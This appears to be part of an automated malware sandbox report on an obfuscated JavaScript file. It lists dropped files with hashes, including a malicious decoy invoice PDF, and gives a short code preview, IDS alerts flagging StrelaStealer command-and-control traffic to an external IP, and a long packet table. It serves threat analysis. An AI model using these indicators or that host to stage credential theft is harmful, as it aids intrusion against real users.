Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\518fd5f7-98eb-4af6-a9f7-c83d0975630e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\bb2a7f37-69d8-4223-a3c9-8491ab051970.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18347), with CRLF line terminators
Entropy (8bit):	4.910253994881611
TrID:
File name:	326794322661816170.js
File size:	22'004 bytes
MD5:	947a7b8ad257d0b871dd62cb5101ffd6
SHA1:	b87366835beab267f608689f1bc1ae9dd19f948b
SHA256:	7e010cc713cbe1a6d49fdc73f7fa017563e499d2e4f38086e38f57e25dd6763d
SHA512:	02a2ab669d565990cc664c947159044936764422572c1a870ea395a935ddaf9e49331db4e0004a5f5184e32042188c29a799d7c00a4086c533344ce3e1b58b18
SSDEEP:	384:C4kd2jtqKehugVO0aJM6YN+AwLSwkjqqHd2QUsxUBd:CpdytqKehugVqM6pApHfUr
TLSH:	B5A2636AD5C9CD5D4DE883BC958328D253D806909D700CAEE987394A538ABA4B4FCFF1
File Content Preview:	function jcdgo(){upkfyeab=[1031,3079,5127,4103,2055,3072];var ergsgc=this[calbyihny+pvuitvgr+mtvako+tscqseje+deurmj+nmutjd+xwsaupogi+axxovqigr](this[oospeir+lcpklfd+pnujhdir+mtvako+ejverroj+calbyihny+axxovqigr][gzmnpjq+mtvako+deurmj+pvuitvgr+axxovqigr+deu

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:47:50.077186+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-11T07:47:50.077186+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49716	193.143.1.205	80	TCP
2025-01-11T07:47:52.881947+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49732	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:47:49.276218891 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:49.280976057 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:49.281071901 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:49.284339905 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:49.289120913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077028036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077060938 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077085972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077100992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077115059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077131987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077146053 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077159882 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077174902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.077186108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.077250957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.134496927 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.134515047 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.134530067 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.134613991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.178853989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.193404913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193444967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193511009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193527937 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193541050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193545103 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.193556070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.193579912 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.193614960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.194041967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194098949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194139957 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.194262981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194313049 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194348097 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194356918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.194381952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194433928 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.194926023 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194941998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194958925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194972038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194987059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.194991112 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.195014954 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.195725918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.195741892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.195758104 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.195770979 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.195787907 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.195810080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.221952915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.221971035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.221987963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.222021103 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.222112894 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.272553921 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.296803951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.296818018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.296854973 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.296866894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.296932936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.296972990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.310466051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310483932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310498953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310568094 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.310594082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310616016 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310631037 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310631990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.310668945 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.310671091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310684919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310700893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310715914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.310715914 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.310753107 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.311569929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311585903 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311599970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311614990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311623096 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.311631918 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311645985 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311650991 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.311662912 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.311686993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312316895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312344074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312356949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312360048 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312371969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312443972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312762976 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312787056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312802076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312812090 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312815905 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312839031 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312843084 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312858105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312872887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.312880039 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.312903881 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.313646078 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313661098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313679934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313697100 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.313714981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313730001 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313745022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313749075 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.313760996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.313791990 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.314574957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314613104 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.314673901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314688921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314704895 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314719915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314727068 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.314742088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314753056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.314759970 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.314795017 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.315435886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.366329908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.384275913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.384310007 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.384413004 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.413516998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.413547993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.413563967 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.413579941 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.413595915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.413645029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.426745892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426764965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426789045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426805019 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426811934 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.426821947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426837921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.426877975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427043915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427064896 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427081108 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427093029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427119970 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427184105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427198887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427215099 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427232027 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427234888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427251101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427273989 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427557945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427572966 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427589893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427597046 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427613974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427629948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427629948 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427649021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427663088 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.427664042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.427697897 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428092003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428107977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428123951 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428137064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428145885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428163052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428183079 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428375006 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428399086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428412914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428427935 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428428888 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428446054 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428448915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428487062 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428570032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428592920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428610086 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428626060 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428627014 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428643942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428658009 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428661108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.428675890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.428694010 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429306984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429322004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429344893 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429346085 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429362059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429378033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429379940 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429395914 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429413080 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429414034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429452896 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429456949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429471970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429487944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429502964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429506063 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.429547071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.429574013 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430279016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430391073 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430414915 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430430889 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430437088 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430445910 CET	80	49716	193.143.1.205	192.168.2.6
